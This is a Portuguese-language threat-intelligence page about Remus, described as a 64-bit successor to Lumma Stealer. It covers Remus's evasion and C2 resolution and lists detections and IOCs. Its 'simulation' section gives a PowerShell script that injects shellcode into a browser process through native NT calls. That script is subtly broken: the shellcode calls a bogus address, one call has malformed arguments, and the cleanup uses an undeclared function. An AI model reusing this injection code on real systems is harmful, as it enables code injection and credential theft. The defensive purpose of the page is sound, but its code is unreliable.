Remus: Desvendando a Evolução de 64 bits do Lumma Stealer
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Gen Threat Labs identificou Remus, um novo infostealer de 64 bits que parece ser um sucessor direto da linhagem Lumma Stealer. Ele espelha o modus operandi do Lumma, incluindo ofuscação de strings familiar, lógica anti-VM, execução de chamadas diretas de sistema e um desvio de criptografia amarrada a aplicativos (ABE) distintivo, anteriormente associado ao Lumma. Remus também altera seu modelo de resolução C2: em vez de depender de resolvers abandonados do Steam e Telegram, adota o EtherHiding, usando contratos inteligentes Ethereum para determinar pontos de comando e controle. Observada desde fevereiro de 2026, a campanha foca no roubo centrado em navegadores, visando credenciais, cookies e dados de carteiras de criptomoedas.
Investigação
Analistas compararam amostras do Remus com binários históricos Lumma e encontraram detalhes de implementação sobrepostos, incluindo estruturas de código correspondentes, strings de estilo curinga compartilhados e a mesma abordagem de desvio de ABE. Compilações de transição rotuladas como “Tenzor” foram observadas como uma ponte entre as duas famílias. A engenharia reversa mostra Remus localizando dpapi.dll, hash de nomes de API exportados e tentando injeção de shellcode no Chrome. Se a injeção falhar, ele recai na personificação de token do SISTEMA para recuperar a alavancagem de execução. Adições anti-análise mais recentes incluem verificações de hash de DLL de sandbox e um teste de presença de arquivo PST “honeypot” destinado a detectar ambientes de análise.
Mitigação
Bloqueie IPs/domínios de C2 conhecidos relacionados ao Remus no perímetro e monitore o comportamento do EtherHiding, incluindo consultas ou padrões de tráfego incomuns consistentes com a resolução de C2 baseada em contrato inteligente. Nos endpoints, priorize as detecções para o uso direto de chamadas de sistema, hash de API e artefatos consistentes com execução furtiva (incluindo criação de desktop oculto). Reduza a exposição dos navegadores endurecendo os ambientes baseados em Chromium sempre que possível, e aplique controle rigoroso de aplicativos para impedir a injeção não autorizada de código e executáveis suspeitos não assinados de serem executados.
Resposta
Se indicadores do Remus forem observados, isole o host, capture despejos de memória e árvores de processos completas, e realize uma investigação forense focada nos processos de navegador injetados. Bloqueie toda a infraestrutura de C2 confirmada, revogue credenciais expostas e redefina senhas/tokens armazenados do navegador. Atualize as detecções para incluir a string coringa B9%????4rnO/@NQe?Nx* e a assinatura do shellcode de 51 bytes relatada.
graph TB classDef malware fill:#ff9999 classDef technique fill:#99ccff classDef process fill:#ffcc99 classDef action fill:#c2f0c2 malware_remus[“<b>Malware</b> – Remus<br/><b>Descrição</b>: Trojan bancário modular capaz de anti-análise, carregamento reflexivo e roubo de credenciais”] class malware_remus malware tech_anti_analysis[“<b>Técnica</b> – T1497.002 Evasão de sandbox/virtualização: verificações de atividade do usuário<br/><b>Descrição</b>: Detecta strings de hipervisor e DLLs de análise; aborta se sandbox detectado”] class tech_anti_analysis technique c2_resolve[“<b>Ação</b> – Resolução C2<br/><b>Descrição</b>: Determina o servidor de comando e controle”] class c2_resolve action tech_unpacking[“<b>Técnica</b> – T1027.002 Arquivos ofuscados: empacotamento de software<br/><b>Descrição</b>: Binário empacotado com ofuscação de strings e syscalls diretas”] class tech_unpacking technique tech_reflective_load[“<b>Técnica</b> – T1620 Carregamento reflexivo de código<br/><b>Descrição</b>: Injeta shellcode de 51 bytes em Chrome/Chromium”] class tech_reflective_load technique process_chrome[“<b>Processo</b> – Chromium/Chrome<br/><b>Descrição</b>: Processo alvo do navegador”] class process_chrome process tech_browser_cred[“<b>Técnica</b> – T1555.003 Credenciais de navegadores<br/><b>Descrição</b>: Extrai senhas e cookies”] class tech_browser_cred technique tech_general_cred[“<b>Técnica</b> – T1555 Credenciais armazenadas<br/><b>Descrição</b>: Empacota credenciais para exfiltração”] class tech_general_cred technique action_exfiltration[“<b>Ação</b> – Exfiltração<br/><b>Descrição</b>: Envia dados ao C2”] class action_exfiltration action malware_remus –>|executa| tech_anti_analysis tech_anti_analysis –>|continua para| c2_resolve c2_resolve –>|carrega| tech_unpacking tech_unpacking –>|usa| tech_reflective_load tech_reflective_load –>|injeta em| process_chrome process_chrome –>|ativa| tech_browser_cred tech_browser_cred –>|gera| tech_general_cred tech_general_cred –>|leva a| action_exfiltration
Fluxo de Ataque
Detecções
Solicitação de DNS da Comunidade Steam Realizada Por Processo Suspeito (via dns_query)
Visualizar
Comando e Controle Suspeitos por Solicitação DNS de Domínio de Nível Superior (TLD) Incomum (via dns)
Visualizar
IOCs (HashSha256) para detectar: Remus: Desmascarando a Variante de 64 bits do Famoso Lumma Stealer
Visualizar
IOCs (HashSha1) para detectar: Remus: Desmascarando a Variante de 64 bits do Famoso Lumma Stealer
Visualizar
Detecção de Técnica de Desvio ABE do Remus [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação de Pré-voo de Telemetria e Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativas DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
- Seleção de Processo: Identificar uma instância em execução de
browser.exe(renomeado Chrome) e obter seu PID. - Preparação de Shellcode: Criar um pequeno shellcode de lançamento “calc.exe” (típico para prova de conceito).
- Alocação de Memória: Chamar NtAllocateVirtualMemory no contexto do processo alvo para reservar uma região RWX.
- Injeção de Shellcode: Use NtWriteVirtualMemory para copiar o shellcode na região alocada.
- Execução: Iniciar um thread remoto com NtCreateThreadEx que inicia a execução no endereço de shellcode injetado.
- Seleção de Processo: Identificar uma instância em execução de
-
Script de Teste de Regressão:
# Simulação Remus‑ABE – implementação PowerShell usando chamadas NT‑nativas # Requer execução como Administrador Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @" using System; using System.Runtime.InteropServices; public class NativeMethods { [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, ref UIntPtr RegionSize, UInt32 AllocationType, UInt32 Protect); [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtWriteVirtualMemory( IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 BufferLength, out UInt32 BytesWritten); [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtCreateThreadEx( out IntPtr ThreadHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Parameter, UInt32 CreateSuspended, UInt32 StackZeroBits, UInt32 SizeOfStackCommit, UInt32 SizeOfStackReserve, IntPtr AttributeList); } "@ # 1️⃣ Identificar processo alvo browser.exe $target = Get-Process -Name browser -ErrorAction Stop $hProcess = $target.Handle # 2️⃣ Shellcode – lançar calc.exe (Windows x64) $shellcode = [Byte[]]( 0x48,0x31,0xC0, # xor rax,rax 0x48,0x89,0xC2, # mov rdx,rax 0x48,0x89,0xC6, # mov rsi,rax 0x48,0x89,0xC7, # mov rdi,rax 0x48,0x8D,0x15,0x0F,0x00,0x00,0x00, # lea rdx,[rip+0xf] ; "calc.exe" 0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00, # mov rax,0xc7 (WinExec) 0xFF,0xD0, # call rax 0xC3, # ret # "calc.exe" string 0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00 ) # 3️⃣ Alocar memória RWX no alvo $baseAddress = [IntPtr]::Zero $regionSize = [UIntPtr]$shellcode.Length $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory( $hProcess, [ref]$baseAddress, [UIntPtr]0, [ref]$regionSize, 0x3000, # MEM_COMMIT|MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE ) if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory falhou: 0x$($allocResult.ToString('X'))" } # 4️⃣ Escrever shellcode $bytesWritten = 0 $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory( $hProcess, $baseAddress, $shellcode, $shellcode.Length, [ref]$bytesWritten ) if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory falhou: 0x$($writeResult.ToString('X'))" } # 5️⃣ Criar thread remoto $hThread = [IntPtr]::Zero $createResult = [Win32.NativeMethods]::NtCreateThreadEx( [ref]$hThread, 0x1F03FF, # THREAD_ALL_ACCESS $hProcess, $baseAddress, 0, # não suspenso 0,0,0, ) if ($createResult -ne 0) { Write-Error "NtCreateThreadEx falhou: 0x$($createResult.ToString('X'))" } else { Write-Host "Injeção de shellcode bem-sucedida – thread remoto iniciado (Handle: $hThread)" } -
Comandos de Limpeza:
# Termine o thread injetado (se ainda estiver em execução) e libere a memória alocada $proc = Get-Process -Name browser -ErrorAction SilentlyContinue if ($proc) { $hProcess = $proc.Handle # Feche o handle do thread if ($hThread -ne [IntPtr]::Zero) { [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null } # Liberar memória (NtFreeVirtualMemory) $freeAddr = $baseAddress $regionSize = [UIntPtr]$shellcode.Length $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE } Write-Host "Limpeza concluída."
Resumo das Recomendações
- Ampliar o Escopo do Processo: Incluir outros processos de alto valor (por exemplo,
explorer.exe,svchost.exe) para capturar tentativas de ABE que evitem o exato browser.exe nome. - Expandir Cobertura de Chamadas de Sistema: Add
NtMapViewOfSection,NtCreateSection, eNtProtectVirtualMemorypara aSyscall|containslista. - Detecção de Anomalias Comportamentais: Correlacionar grandes alocações de memória (
RegionSize > 1 MB) com subsequenteNtWriteVirtualMemoryno mesmo processo para sinalizar padrões de injeção atípicos. - Lista Branca de Cenários Legítimos Conhecidos: Crie uma lista de permissões para navegadores que legitimamente realizam gravações de memória em processo (por exemplo, via plugins) para reduzir falsos positivos.
Implementar esses passos de fortalecimento aumentará a resiliência da regra de um 3 para uma classificação 4‑5 , tornando substancialmente mais difícil para os adversários contornarem.